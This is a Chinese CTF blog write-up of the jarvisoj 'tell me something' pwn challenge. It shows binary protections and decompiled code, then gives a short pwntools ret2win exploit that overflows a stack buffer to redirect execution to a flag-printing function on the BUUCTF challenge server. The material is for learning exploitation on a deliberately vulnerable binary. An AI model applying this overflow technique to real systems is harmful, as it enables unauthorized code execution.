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偷得浮生半日闲
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  • PWN

    • test your nc
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    • ciscn 2019 es 2
    • ciscn 2019 s 3
    • jarvisoj tell me something
      • 前提
        • 查看文件保护
      • 静态分析
      • 思路分析
      • exp
    • jarvisoj level3
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  • 笔记
  • PWN
Zephyr
2022-03-25
目录

jarvisoj tell me something

# jarvisoj tell me something

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/jarvisoj_tell_me_something/guestbook'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
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# 静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-88h]

  write(1, "Input your message:\n", 0x14uLL);
  read(0, &v4, 0x100uLL);
  return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}
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good_game函数如下

int good_game()
{
  FILE *v0; // rbx
  int result; // eax
  char buf; // [rsp+Fh] [rbp-9h]

  v0 = fopen("flag.txt", "r");
  while ( 1 )
  {
    result = fgetc(v0);
    buf = result;
    if ( (_BYTE)result == -1 )
      break;
    write(1, &buf, 1uLL);
  }
  return result;
}
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readmessage函数如下

ssize_t readmessage()
{
  __int64 v1; // [rsp+0h] [rbp-88h]

  return read(0, &v1, 0x100uLL);
}
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# 思路分析

  1. 目前信息:
    • main函数可溢出
    • good_game函数可直接打印flag
    • No PIE
  2. 思路:
    • 溢出控制程序执行流到good_game即可获得flag

# exp

from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/jarvisoj_tell_me_something/guestbook'
io=remote('node4.buuoj.cn',28491)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 136
good_game=elf.symbols['good_game']
payload=flat(['a'*padding,good_game])
io.recv()
io.send(payload)
io.interactive()
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#buuctf#pwn#StackOverflow
上次更新: 2022/08/15, 00:29:49
ciscn 2019 s 3
jarvisoj level3

← ciscn 2019 s 3 jarvisoj level3→

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